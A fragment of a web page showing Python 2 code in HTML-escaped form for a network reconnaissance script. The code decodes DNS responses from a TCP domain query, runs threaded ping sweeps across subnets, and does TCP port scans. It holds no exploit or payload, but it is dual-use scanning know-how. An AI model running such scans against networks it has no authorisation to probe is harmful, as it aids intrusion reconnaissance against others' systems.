<li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__OFFSET&nbsp;=&nbsp;<\/span><span>12<\/span><span>&nbsp;+&nbsp;__LEN_QUERY&nbsp;+&nbsp;<\/span><span>4<\/span><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#&nbsp;header&nbsp;=&nbsp;12,&nbsp;type&nbsp;+&nbsp;class&nbsp;=&nbsp;4 <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>while<\/span><span>&nbsp;__OFFSET&nbsp;&lt;&nbsp;len(response): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name_offset&nbsp;=&nbsp;response[__OFFSET:&nbsp;__OFFSET&nbsp;+&nbsp;<\/span><span>2<\/span><span>]&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#&nbsp;2&nbsp;bytes <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name_offset&nbsp;=&nbsp;struct.unpack(<\/span><span>'!H'<\/span><span>,&nbsp;name_offset)[<\/span><span>0<\/span><span>] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;name_offset&nbsp;&gt;&nbsp;<\/span><span>0b1100000000000000<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name&nbsp;=&nbsp;<\/span><span>self<\/span><span>.__get_name(response,&nbsp;name_offset&nbsp;-&nbsp;<\/span><span>0b1100000000000000<\/span><span>,&nbsp;<\/span><span>True<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>else<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name&nbsp;=&nbsp;<\/span><span>self<\/span><span>.__get_name(response,&nbsp;__OFFSET) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;type&nbsp;=&nbsp;struct.unpack(<\/span><span>'!H'<\/span><span>,&nbsp;response[__OFFSET:&nbsp;__OFFSET+<\/span><span>2<\/span><span>]&nbsp;)[<\/span><span>0<\/span><span>] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;type&nbsp;=&nbsp;<\/span><span>self<\/span><span>.__TYPES.get(type,&nbsp;<\/span><span>''<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;type&nbsp;!=&nbsp;<\/span><span>'A'<\/span><span>:&nbsp;<\/span><span>print<\/span><span>&nbsp;name.ljust(<\/span><span>20<\/span><span>),&nbsp;type.ljust(<\/span><span>10<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__OFFSET&nbsp;+=&nbsp;<\/span><span>8<\/span><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#&nbsp;type:&nbsp;2&nbsp;bytes,&nbsp;class:&nbsp;2bytes,&nbsp;time&nbsp;to&nbsp;live:&nbsp;4&nbsp;bytes <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;data_length&nbsp;=&nbsp;struct.unpack(<\/span><span>'!H'<\/span><span>,&nbsp;response[__OFFSET:&nbsp;__OFFSET+<\/span><span>2<\/span><span>]&nbsp;)[<\/span><span>0<\/span><span>] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;data_length&nbsp;==&nbsp;<\/span><span>4<\/span><span>&nbsp;<\/span><span>and<\/span><span>&nbsp;type&nbsp;==&nbsp;<\/span><span>'A'<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ip&nbsp;=&nbsp;[str(num)&nbsp;<\/span><span>for<\/span><span>&nbsp;num&nbsp;<\/span><span>in<\/span><span>&nbsp;struct.unpack(<\/span><span>'!BBBB'<\/span><span>,&nbsp;response[__OFFSET+<\/span><span>2<\/span><span>:&nbsp;__OFFSET+<\/span><span>6<\/span><span>]&nbsp;)&nbsp;] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;name.ljust(<\/span><span>20<\/span><span>),&nbsp;type.ljust(<\/span><span>10<\/span><span>),&nbsp;<\/span><span>'.'<\/span><span>.join(ip) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__OFFSET&nbsp;+=&nbsp;<\/span><span>2<\/span><span>&nbsp;+&nbsp;data_length &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#&nbsp;is_pointer:&nbsp;an&nbsp;name&nbsp;offset&nbsp;or&nbsp;not&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;__get_name(<\/span><span>self<\/span><span>,response,&nbsp;name_offset,&nbsp;is_pointer=<\/span><span>False<\/span><span>): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>global<\/span><span>&nbsp;__OFFSET &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;labels&nbsp;=&nbsp;[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>while<\/span><span>&nbsp;<\/span><span>True<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;num&nbsp;=&nbsp;struct.unpack(<\/span><span>'B'<\/span><span>,&nbsp;response[name_offset])[<\/span><span>0<\/span><span>] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;num&nbsp;==&nbsp;<\/span><span>0<\/span><span>&nbsp;<\/span><span>or<\/span><span>&nbsp;num&nbsp;&gt;&nbsp;<\/span><span>128<\/span><span>:&nbsp;<\/span><span>break<\/span><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#&nbsp;end&nbsp;with&nbsp;0b00000000&nbsp;or&nbsp;0b1??????? <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;labels.append(&nbsp;response[name_offset&nbsp;+&nbsp;<\/span><span>1<\/span><span>:&nbsp;name_offset&nbsp;+&nbsp;<\/span><span>1<\/span><span>&nbsp;+&nbsp;num]&nbsp;) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name_offset&nbsp;+=&nbsp;<\/span><span>1<\/span><span>&nbsp;+&nbsp;num &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;<\/span><span>not<\/span><span>&nbsp;is_pointer:&nbsp;__OFFSET&nbsp;+=&nbsp;<\/span><span>1<\/span><span>&nbsp;+&nbsp;num &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;name&nbsp;=&nbsp;<\/span><span>'.'<\/span><span>.join(labels) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__OFFSET&nbsp;+=&nbsp;<\/span><span>2<\/span><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#&nbsp;0x00 <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>return<\/span><span>&nbsp;name &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;GetDomainList(<\/span><span>self<\/span><span>,dnsip,domain): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s&nbsp;=&nbsp;socket.socket(socket.AF_INET,&nbsp;socket.SOCK_STREAM) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.connect(&nbsp;(dnsip,&nbsp;<\/span><span>53<\/span><span>)&nbsp;) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;data&nbsp;=&nbsp;<\/span><span>self<\/span><span>.__gen_query(domain) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.send(data) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.settimeout(<\/span><span>2.0<\/span><span>)&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#&nbsp;In&nbsp;case&nbsp;recv()&nbsp;blocked <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response&nbsp;=&nbsp;s.recv(<\/span><span>4096<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;res_len&nbsp;=&nbsp;struct.unpack(<\/span><span>'!H'<\/span><span>,&nbsp;response[:<\/span><span>2<\/span><span>])[<\/span><span>0<\/span><span>]&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#&nbsp;Response&nbsp;Content&nbsp;Length <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>while<\/span><span>&nbsp;len(response)&nbsp;&lt;&nbsp;res_len: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;response&nbsp;+=&nbsp;s.recv(<\/span><span>4096<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;s.close() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.__decode(response[<\/span><span>2<\/span><span>:]) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;_ip2int(<\/span><span>self<\/span><span>,ip): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>return<\/span><span>&nbsp;sum([<\/span><span>256<\/span><span>**j*int(i)&nbsp;<\/span><span>for<\/span><span>&nbsp;j,i&nbsp;<\/span><span>in<\/span><span>&nbsp;enumerate(ip.split(<\/span><span>'.'<\/span><span>)[::-<\/span><span>1<\/span><span>])]) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;_int2ip(<\/span><span>self<\/span><span>,intip): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>return<\/span><span>&nbsp;<\/span><span>'.'<\/span><span>.join([str(intip\/(<\/span><span>256<\/span><span>**i)%<\/span><span>256<\/span><span>)&nbsp;<\/span><span>for<\/span><span>&nbsp;i&nbsp;<\/span><span>in<\/span><span>&nbsp;range(<\/span><span>3<\/span><span>,-<\/span><span>1<\/span><span>,-<\/span><span>1<\/span><span>)]) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;__pingScan(<\/span><span>self<\/span><span>): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>while<\/span><span>&nbsp;<\/span><span>True<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ip&nbsp;=&nbsp;<\/span><span>self<\/span><span>.q.get() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;platform.system()&nbsp;==&nbsp;<\/span><span>'Linux'<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p&nbsp;=&nbsp;Popen([<\/span><span>'ping'<\/span><span>,<\/span><span>'-c&nbsp;2'<\/span><span>,ip],stdout=PIPE) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m&nbsp;=&nbsp;re.search(<\/span><span>'ttl='<\/span><span>,&nbsp;p.stdout.read()) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;m!=<\/span><span>0<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.networkIPlistA.append(ip) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;platform.system()==<\/span><span>'Windows'<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;p&nbsp;=&nbsp;Popen(<\/span><span>'ping&nbsp;-n&nbsp;2&nbsp;'<\/span><span>&nbsp;+&nbsp;ip,&nbsp;stdout=PIPE) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;m&nbsp;=&nbsp;re.search(<\/span><span>'TTL='<\/span><span>,&nbsp;p.stdout.read()) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;m: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.networkIPlistA.append(ip) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.q.task_done() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;__portScan(<\/span><span>self<\/span><span>): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>while<\/span><span>&nbsp;<\/span><span>True<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;scan&nbsp;=&nbsp;<\/span><span>self<\/span><span>.s.get()&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;portConnect&nbsp;=&nbsp;socket.socket(socket.AF_INET,&nbsp;socket.SOCK_STREAM) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;portConnect.settimeout(<\/span><span>100<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>try<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;portConnect.connect((scan[<\/span><span>0<\/span><span>],scan[<\/span><span>1<\/span><span>])) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;portConnect.close() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.networkIP_portOpen[scan[<\/span><span>0<\/span><span>]]&nbsp;+=&nbsp;str(scan[<\/span><span>1<\/span><span>])&nbsp;+&nbsp;<\/span><span>','<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#print&nbsp;self.networkIP_portOpen <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>except<\/span><span>&nbsp;Exception: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>pass<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#print&nbsp;e <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.s.task_done() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;PortScan(<\/span><span>self<\/span><span>): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'##########Start&nbsp;port&nbsp;scanning.....#########'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'###ip&nbsp;alive:###'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;<\/span><span>self<\/span><span>.network&nbsp;==&nbsp;[]: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'!!!!sorry,IP&nbsp;is&nbsp;NULL&nbsp;\uff01\uff01\uff01\uff01\uff01'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>else<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#\u5f97\u5230\u8981ping\u7684ip\u5217\u8868\uff1a <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_pinglist&nbsp;=&nbsp;[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;network&nbsp;<\/span><span>in<\/span><span>&nbsp;<\/span><span>self<\/span><span>.network: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;i&nbsp;<\/span><span>in<\/span><span>&nbsp;range(<\/span><span>1<\/span><span>,<\/span><span>255<\/span><span>): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_pinglist.append(<\/span><span>self<\/span><span>._int2ip(<\/span><span>self<\/span><span>._ip2int(network)+i)) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#\u5f00\u59cb\u6267\u884c <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;i&nbsp;&nbsp;<\/span><span>in<\/span><span>&nbsp;range(<\/span><span>self<\/span><span>.NUM): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.t&nbsp;=&nbsp;Thread(target&nbsp;=&nbsp;<\/span><span>self<\/span><span>.__pingScan) &nbsp;<\/span><\/li>\n  \n  \n  \n  